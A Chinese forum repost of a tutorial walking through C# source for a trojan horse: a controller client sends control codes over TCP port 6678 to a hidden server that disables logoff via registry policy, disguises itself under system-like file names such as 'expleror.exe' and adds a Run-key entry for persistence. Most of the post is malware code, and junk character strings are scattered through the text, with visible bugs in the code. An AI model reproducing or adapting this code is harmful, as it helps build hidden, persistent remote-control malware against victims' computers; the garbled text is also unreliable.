找回密码
 入住遨海湾
搜索
网站解决方案专享优惠-3折上云
查看: 974|回复: 0

[转]用C#实现木马程序(分析)

[复制链接]
发表于 2004-12-24 14:19:00 | 显示全部楼层 |阅读模式

登录后查才能浏览下载更多咨询,有问题联系QQ:3283999

您需要 登录 才可以下载或查看,没有账号?入住遨海湾

×
  前一段时间我写了一个关于用C#木马的程序(程序见前),抱歉没有写分析,让大家难过了,现在补上:)。 5 d4 v/ j: u7 ?. O Z6 \前言: 3 n7 Y8 f; \, O; J8 M4 Y6 o 我的技术不是很好,如果你是为了学习木马技术也许没有什么启发,这篇文章为了给学习C#的朋友。 3 l1 b! _& A& R) q0 m 木马的介绍:(参照黑客防线2000-2001精华本中的木马原理揭秘) 8 c3 q3 d! l- P. C因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。 * d) J$ y, x/ n) l6 R使用的技术: & U/ X. K5 i% C8 c% Q- G' ~; @控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。 ) s; h- c# Z/ p& ~控制端开发: 1 x: M b) U; O# _, O, f0 B 控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。 ! Z& u/ o/ p4 B8 F" y9 q+ G( M* g控制端的开发: 8 E* O, f/ r/ X' s4 y控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。 : Q D( d4 D% ~: ?8 c1 连接请求 3 o2 n, h: x! W; w+ @ 使用了.NET类中的 System.Net.Sockets.TcpClient类, . I- J' `) @8 n) M+ { TcpClient(string hostname,int port) 0 k, j: F3 W$ v. x Hostname 是要控制的主机名称,当然你也可以用IP地址。 8 `6 r6 x% J! q' ?( Q0 K! m; BPort是端口。 ' a' L$ v8 e2 u7 x/ Y5 s1 e2 k // System.EventArgs包含事件数据类的基类 8 i+ f9 r& u8 n S& a private void button7_Click(object sender, System.EventArgs e) * p. J- [; x1 w1 f! p5 q{ 0 G; h `* Y F9 _//记录操作,在richTextBox控件中增加操作信息 . S$ n& v' q: {3 ?5 f4 o" GrichTextBox1.AppendText("请求连接" +textBox1.Text +"\r"); ~* \1 B% x% i+ S. Y2 @. g, T: dint port =6678; # \% c5 j N( jtry , f) T6 J& b& a { 1 Q# f1 Z ]# g8 S//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 / c3 w! ^. [& p% Uclient = new TcpClient(textBox1.Text,port); 2 g/ w9 L6 N/ a/ G} ; U4 j; g7 X. b# l9 ] catch 2 K. X! E! l- C9 u) R+ L{ " F) l8 b; h6 {% O9 {; TMessageBox.Show("服务器不在线!确定是否输入主机名称."); + C/ f: G9 r6 e; l6 SrichTextBox1.AppendText("服务器不在线!确定是否输入主机名称."); Q3 k" F# o9 F) d0 }" }} ; M s4 i( K' _, ^' B }//private void buttion 4 x" h$ l1 z- w7 M3 X' l 2测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 : q+ [4 j3 Y/ u" m//提供网络访问的数据流 3 ]# U6 A9 j9 _0 p5 Y//private NetworkStream stream; 6 d) \7 J6 Z' K 代码如下: ! I6 E! M: {: n+ W* D private void button8_Click(object sender, System.EventArgs e) 8 P' ~; {) `/ P2 N { - \$ P% I3 \% e9 U' C4 w //纪录操作 8 Q, Z1 y1 y: YrichTextBox1.AppendText("测试连接" +"\r"); 8 V L }* E' m+ Gtry 6 M5 s( N: D7 h& m9 X% V9 K{ 8 { X K* ~0 B) D% `! t& b v/ B: r' s stream = client.GetStream(); 2 F% m4 n% c: q. k$ P5 e if(stream.CanWrite) * n% n' u2 M' D+ g{ / E; u2 }% b% g//发送控制码 8 N* L ~( j6 T8 K/ X* g2 pstring control = "jiance"; 3 z4 s+ q" Q" Ubyte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); : L7 |: R0 t7 B2 K; n: c9 cstream.Write(by,0,by.Length); 4 W* q6 l% O9 ` `5 u+ W //下次使用 - ^2 \) R7 U0 y% O/ U3 b stream.Flush(); # Z3 \1 @4 }1 e+ I //启动接收反回数据的线程 4 i+ p8 I2 w' O i//receive是线程执行的函数,见后面的分析 4 s- a1 @5 S4 E$ [( ^0 |threadReceive = new Thread(new ThreadStart(receive)); 3 }& [/ o+ k4 M4 e- lthreadReceive.Start(); ! p7 z! r) Z. d2 s# x9 s9 [} ; V- ^" N9 z1 c# \} & J7 r+ ~6 R' o8 I4 ocatch(Exception ee) 4 C+ U' W# E, F; J( I( h! K{ ) p2 _# M( }% V5 u6 L$ f. @5 W richTextBox1.AppendText (ee.Message+"\r"); + V5 U8 l* S/ J& R! b# E MessageBox.Show(ee.Message); 5 G# M0 Y/ } k! j} : c5 u7 y; n) W7 _9 x( q, x } * Y+ J6 Z) S4 v! W: U( e4 K; ?% c3控制生效的代码 8 J$ X/ O. X! f; H! y private void button9_Click(object sender, System.EventArgs e) 3 a. {. q; y3 R: M x. [; }* T }" t! B { 2 q( K# t) i# y0 M: _5 j6 M//这里是确定要发送的控制码,RadioButton是窗体控件 4 M" u t% |& P6 Z Z% t+ C& X' Cif(radioButton1.Checked){ control = form2.zhucex;} ; C* Y% [! W! h1 B2 Y# L else if(radioButton2.Checked){ control =form3.zhuces;} 1 M% G: E3 b9 ^. d6 X5 D* L else if(radioButton3.Checked){ control = warring;} , O: ~' p" u; r$ N else if(radioButton4.Checked){ control =suggest;} , ?! E1 y; l( a" } else if(radioButton5.Checked){ control =form4.mumawe;} 1 q7 ?1 O/ q4 k else if(radioButton6.Checked){ control =drop;} / a7 w6 A; z/ F5 W3 bif (control =="000000") " Z0 L: D# H8 e{ * X! @" J6 [( { ]MessageBox.Show("你没有输入任何控制目标!不发控制信号"); # e! t, n- V5 K. p/ k2 crichTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); ! k/ ~. C: C4 n9 [0 o } 1 D4 g$ ~) I: {5 ] N else if(control != "000000") " O( K4 n: z" L( `- h{ . n; M O2 w6 L: z' u- I B. |* r7 Utry 0 U# X3 p; ]8 w' p/ P{ 3 G- u( n: J& ]//记录操作 " C s! n4 |) A9 W6 ? richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r"); / S- Y. {% W3 c2 f$ }2 ~8 G6 w6 Pstream = client.GetStream(); ' A1 ~* p! D1 e2 X( [. Q: wif(stream.CanWrite ) 4 l7 b7 N3 h; {9 B5 \- k { 5 {' G' P9 `$ z byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); 7 M9 @7 R+ R% s8 F8 Astream.Write(by,0,by.Length); / z9 r( N; y g& k0 d. w( I5 I/ e2 ^; Jstream.Flush(); + `) i$ Y* {3 u# W threadReceive =new Thread(new ThreadStart(receive)); ( ?! `, S2 d: F" B: R- c threadReceive.Start(); ' R* m, H6 `) s* m7 K* f' ] }//endif / h! r7 F- {( E; v& a$ s}//try 2 r. H! q; P' q$ U+ icatch / O) F) r, f6 t. v. V+ U4 M# q* t { ; F) c+ p& { u# }1 ~ richTextBox1.AppendText("服务器未连接1控制无效!" +"\r"); 4 i8 p: ]8 s6 v7 C9 b. Y MessageBox.Show("服务器未连接1控制无效!" +"\r"); + w8 E# \& P% L# `$ X9 j1 n } 2 l, h% Y; F! _0 P }//else if 6 o: v5 }2 e# ~ } 0 [0 L- m2 n; N* O4 x/ T) G 2 A. o$ ]) B; Z. n; \9 A4线程执行的函数 5 V; I, ]+ L, s( C: e* Q& Cprivate void receive() ; X" b! H0 e1 l0 m% b{ + C! n$ D Q e& G //设置读取数据的空间 4 D# K, c- k" r: \. a; t byte[] bb = new byte[3]; . j$ z( F P5 C3 j//读取3个字节,i为实际读取的字节数 ; e o! Z3 y j/ @( Q! Nint i = stream.Read(bb,0,3); # [/ m: L) l6 k2 m% A- Q//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); 7 w7 p1 l6 s& qstring ss = System.Text.Encoding.ASCII.GetString(bb); 3 n/ ] v$ t0 T2 A& W4 Y0 l. A* J# h//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 5 G9 `8 @4 B# R3 |5 zif(ss=="hjc") " t$ x6 R* T1 ?$ y6 [+ |2 j { 3 x- W+ j6 n: v! k p! p$ J9 I MessageBox.Show("连接成功"); ( N; j9 p# B; c4 F0 }3 f1 x$ `% B/ A1 { richTextBox1.AppendText("连接成功"); 3 B/ ]/ v& A1 i' W: [* ? } M6 u: N: Y4 u( J if(ss== "hkz") 4 K h$ p! ?! q$ d0 ~* O: h, E. h { ; C7 S" y+ K W; Z. L6 grichTextBox1.AppendText(control +"控制成功"+"\r"); 5 m, K y5 }1 m, X4 c MessageBox.Show(control +"控制成功"+"\r"); & K1 C4 Y) U9 \4 f% c } ! F6 P" i4 x! Z2 L7 m( ]- T$ { } . w/ I0 h- ~, o2 P1 z7 x/ G1 I 服务端的开发: ( ?) f) m: t% n$ y; B要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: $ ^8 S( v$ H" v* \& @3 u, a! o1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下: # v( j/ Q9 C" T" c v( l9 Y3 Eprivate void InitializeComponent() & d$ V1 d4 ?3 A( O- y2 ?1 h( K { ; i/ B$ s3 V! I( w, n( [ // 5 ~& y; m! n3 S' ~& H // Form1 ) {6 ^* x+ r0 j% {' ` // ( I+ ` i6 P$ v2 j! i5 {( F) K//窗体显示的起点和大小 2 V) t7 A. r- b& ?2 wthis.AutoScaleBaseSize = new System.Drawing.Size(6, 14); 8 \! [& X( r) g* |6 V) C this.ClientSize = new System.Drawing.Size(368, 357); * r' ^. `2 E& T3 l$ q( ^//窗体名称 7 D I9 C! _% X: o: Othis.Name = "Form1"; . \3 x$ `: F( U5 J% Y//设置属性让它后台运行 7 j$ o: Y2 ?4 U2 W) }this.ShowInTaskbar = false; + q; }& j5 b% u5 M5 F% [ this.Text = "Form1"; & @! i$ _- Z7 f( p0 r& c, p3 Sthis.WindowState = System.Windows.Forms.FormWindowState.Minimized; 3 c, w V' j+ o% l% g} % w A; ?) K M( D+ W+ S 2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下: / Y4 {6 E! P6 ~% ~$ D public Form1() //窗体的构造函数 : N" p4 e+ c- ], j6 t; G { 2 D' T4 f1 _9 s8 @/ h- w+ A// $ g+ u" E, ?% c* R) G. J) i // Windows 窗体设计器支持所必需的 & s: z0 v9 }# d, U// 6 S u8 j {7 G: R8 b2 {/ kInitializeComponent(); 9 k- N" s' R9 o. d- m- j3 \8 H5 A; m- R // 7 D9 T4 M) W$ ]5 G! i( O // TOD 在 InitializeComponent 调用后添加任何构造函数代码 ; Y+ ~4 a1 b& |7 u" ~ v: F& k# E //加入你的侦听代码 3 }3 e" P1 N w8 H8 K& T3 | //端口你可以自已设定,我使用了固定的端口 2 G; q, J* H; ^8 _+ [( n1 o int port =6678; # ~& b" m2 u* E' l6 W- r' O//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 * ]: P0 Z) |* _# E: H. e, Plistener = new TcpListener(port); . ?6 ^8 S# v p5 O! p/ | } //启动侦听 * O6 ~4 |. l6 ~4 W% R" { listener.Start(); 7 _. i6 h; y6 f- } //增加接收控制码的线程,如果要停止线程可以用 Thread.abort() ' h6 u4 ?! ^. q; Z7 M//reControlCode 是线程启动执行的函数,此函数根据接收的控制 # [. I, p9 c6 k8 s9 n //控制码选取合适的注册表修改函数 , _7 k' B/ |5 N/ @ Thread thread = new Thread(new ThreadStart(reControlCode)); 6 ^$ Y' f# F2 Y# f, C- l) } pthread.Start(); ; j+ v6 Z* m- u2 D' n } $ z3 c& ~$ b; p' E/ b. d reControlCode函数如下,完整代码见程序 ) y! r: D" L* U% oprivate void reControlCode() 5 b% Q! M- y! X. D: h& g { 2 E0 Z- u. [4 N( t5 g; U //设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 $ l9 l7 Z& U& E0 o( I socket = listener.AcceptSocket(); `% S2 z, g* M. ~6 P/ i //如果连接成功执行 9 `( n7 \; l" swhile (socket.Connected) ! ]2 k X! W4 C* | { 9 [$ D! @' w! {4 _//接收控制码 0 h; T0 m% N$ T) G+ z$ w1 G: A* v. j4 Pbyte [] by =new byte[6]; / R$ \' }+ L$ U: l2 f int i = socket.Receive(by,by.Length ,0); 8 O. y+ t; \& x; g, C* e3 f( Qstring ss = System.Text.Encoding.ASCII.GetString(by); ; b0 \# T1 M+ u3 L5 d //根据控制码执行不同的功能 ! U* g# g8 {" ?+ J9 U! O: A; }2 T 6 P+ h D" ^& K0 N7 A. P) m; B//修改注册表加入编码 7 M% z# i. v0 _* L' B switch (ss) ; {& V. l: C/ S( \7 z' ~ { 0 o6 `) X5 ?0 T# \case "jiance"://测试连接,返回测试信息 8 G, S [3 I" |3 r4 }% |( n$ ?string str ="hjc"; 6 N) p7 F3 y" o8 W9 e$ ]byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); ' G0 h7 K) a. u0 I% h, m9 B. gsocket.Send(bytee,0,bytee.Length,0); $ F2 C' y( }4 F0 _* D' K0 Z3 ^* u break; " o+ H6 }, S# e6 Fcase "zx1000": 3 H' {7 ^2 Q/ l. V; m//修改注册表函数,自已定义,见下面分析 ; f( r( r( ^3 c* S" [5 g UnLogOff(); ' j1 s$ w' X& l//返回控制消息 ' h- e- t* ~. ~, h6 F6 { retMessage(); ( C$ Y0 t" v1 S) o. V1 _8 ?- e break; ! L1 i$ w. r6 i. t* d 4 |! k! W4 ]* L9 ncase "zx0100": ) u0 e$ x+ F3 B1 g//修改注册表函数 7 k" m7 d+ K* z/ b# N! I+ P6 y UnClose(); 9 t2 n# ?: o' x0 H H//返回控制消息 ( n# z' N0 Z4 R3 e. L$ aretMessage(); 8 i8 y) Z8 S& t' tbreak; 8 P9 y8 ?: d5 `- v# X//重复的case功能与前面一样,略掉 2 f* c: X# h8 i4 o0 A. R* Sdefault: 3 g/ U# \0 D p3 g0 i+ h) T0 nbreak; 0 \9 h) R3 n0 T5 c" m }//case 0 `3 M" s& n. f}//while 0 U# h( n: H+ l } //private void reControlCode 2 e2 r, y, H# |' }9 D& q2 `- L* l 3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer , p4 l4 x5 O' {6 b3 c下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改: + p1 L9 s* S5 ^ U( U) \) g private void UnLogOff() 4 p/ h: Y0 n" l8 k8 }) I: ~+ N) \ { . g: F+ k2 c7 a& F+ L; h' z //得到主机的注册表的顶级节点 . S; `* I" j8 y Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; , w* U: K t7 ^$ @ //设置一个注册表子键的变量 / g+ D. o; b' ]0 G RegistryKey key1; , q H5 K- a8 l5 n- i6 w6 ?- X: Atry ( @5 `5 t5 m7 o" S; A( k& x{ 6 T1 v4 B, Q# U1 T- R //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 , E' h" u, N) S# ?5 o% w' p//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 / m% c s# R& V0 B* Nkey1 = . f9 U5 ]' ~% k: h3 C6 o% u: L1 g rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true); / @6 K9 n/ L0 G" [. b& D//设置子键的键名,和值 . _: R/ @1 T6 _0 p2 v; m4 W3 j key1.SetValue ("NoLogOff",1); , p6 k, N1 ~8 h2 [" d//关闭打开的子键 ( M6 |* P3 v" P h) j7 Mkey1.Close(); 9 A/ F' @: a/ Z4 Q9 y //警告字符串设定 , l4 U+ H$ p8 z0 y1 w/ | mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; 0 ?# X; S) N% p5 `+ H( ~} + n, v% O# Q' |- A* B catch{} + q+ ~/ L! \. c, N1 r/ R //如果不存在自已建立 - l- I3 [7 G! K& c* xif(key1 ==null) % T% k; |7 o1 G* V4 X{ # A) c6 L( w2 Dtry b ]% N& D1 t9 ^7 r { / A. ^, k, {/ M1 G, I2 z //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 7 ^/ h" N S3 ? RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"); 1 Y6 s. v7 ~7 e2 ?% Bkey2.SetValue("NoLogOff",1); 0 T) i4 l$ J& h- D2 p0 z t* [ okey2.Close(); # V& T; _9 V$ C4 z mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; - m9 n% {: w9 X% y8 {9 A } + ~6 i* V) u V5 _% x catch{} / l4 D9 b( y$ U: n7 k0 _0 v} . Z0 `$ v9 m6 p" v} * X4 b; e9 }# u. [; U4 M0 K8 Y' [4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。 0 Q1 L8 R0 b. V5 a private void moveCC1() 2 i9 E4 ^+ U( G2 p { 3 Y/ ? r8 D6 B4 o try * q. A0 y! N7 F: h{ 7 N) G6 k9 {9 W5 N" n* z' C//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 3 P6 v( b9 w& D1 J& b. G2 ` //sourceFileName为要移动的文件名,destFileName为文件的新路径 3 b$ d& ^7 A/ N9 Z" k- x+ {/ c$ } File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe"); 1 j6 _& V* i0 u7 f1 P3 k } , L3 A1 y# o8 M+ \! I. _ catch {} 7 g& `8 [6 z3 n; R' V7 {//将新移的木马程序设为自启动.分析和前面一样 / g2 n4 R5 C' W. Q8 E" R. _ Stry & r, L0 b* Z) a$ t! N }* Q! O8 Q$ W{ 0 h1 P0 R6 F7 L) G key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true); # ~% b" l. n1 \- S7 j' H8 p key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); : e6 A. b* c1 U2 O) K; {0 X key1.Close(); # `+ U2 N/ Y2 C N1 u6 i } 4 z$ j& f" f" C! s8 I1 ` catch{} 1 O0 s% {0 G1 qif(key1 ==null) * K3 U8 J0 n1 H- Y) ~- E0 g. W; e { 4 @3 N9 C. S9 h; ptry % l9 e; L2 ]! a E1 k { ; p' n3 Q, E- U9 [; WRegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); ! w& q. d% {" d! z) w8 Z key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); " S' }( y8 d( C% Z' u- L4 ukey1.Close(); ) S/ g6 K/ `1 S( D} : e( @5 v3 B% j+ ` catch{} ' @- f3 v/ _: n; N$ Y1 D} ( D5 {/ I' H" @$ U9 _. ^6 @ } //moveCC1()
遨海湾-心灵的港湾 www.aosea.com
您需要登录后才可以回帖 登录 | 入住遨海湾

本版积分规则

网站解决方案专享优惠-3折上云

QQ|手机版|小黑屋|遨海湾超级社区

GMT+8, 2025-4-25 02:01

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表